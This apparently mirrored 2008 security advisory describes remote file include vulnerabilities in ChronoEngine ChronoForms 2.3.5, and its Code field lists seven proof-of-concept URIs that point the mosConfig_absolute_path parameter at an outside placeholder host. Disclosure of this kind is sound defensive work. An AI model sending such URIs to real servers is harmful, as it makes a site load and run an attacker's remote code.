exploits , vulnerabilities , articles , ChronoEngine ChronoForms mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Title	ChronoEngine ChronoForms mosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities
Published	2008-01-30-12:00AM
Updated	2008-01-31-05:57PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	Crackers_Child is credited with the discovery of these vulnerabilities.
Vulnerable	ChronoEngine ChronoForms 2.3.5
Not Vulnerable
Code	Attackers can use a browser to exploit these issues.The following proof-of-concept URIs are available:http://www.example.com/[path]/administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=http;//www.example2.com http://www.example.com/[path]/administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=http;//www.example2.com http://www.example.com/[path]/administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=http;//www.example2.com http://www.example.com/[path]/administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http;//www.example2.com http://www.example.com/[path]/administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=http;//www.example2.com http://www.example.com/[path]/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=http;//www.example2.com http://www.example.com/[path]/administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=http;//www.example2.com
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-19 Serv-U File Server User Directory Information Disclosure Vulnerability
2009-12-18 ReVou Comment Field HTML Injection Vulnerability
2009-12-18 Adobe Flash Media Server Resource Exhaustion Remote Denial of Service Vulnerability
2009-12-18 Centreon Authentication Mechanism Security Bypass Vulnerability
2009-12-18 Family Connections Multiple Input Validation Vulnerabilities
2009-12-18 Drupal Contact and Menu Modules Multiple HTML Injection Vulnerabilities
2009-12-18 Mozilla Firefox and SeaMonkey NTLM Credential Reflection Authentication Bypass Vulnerability
2009-12-18 Mozilla Firefox CVE-2009-3982 JavaScript Engine Multiple Remote Memory Corruption Vulnerabilities
2009-12-17 Zen Cart Insecure File and Programs Information Disclosure and Database Deletion Vulnerability
2009-12-17 Winamp Module Decoder Plugin Multiple Buffer Overflow Vulnerabilities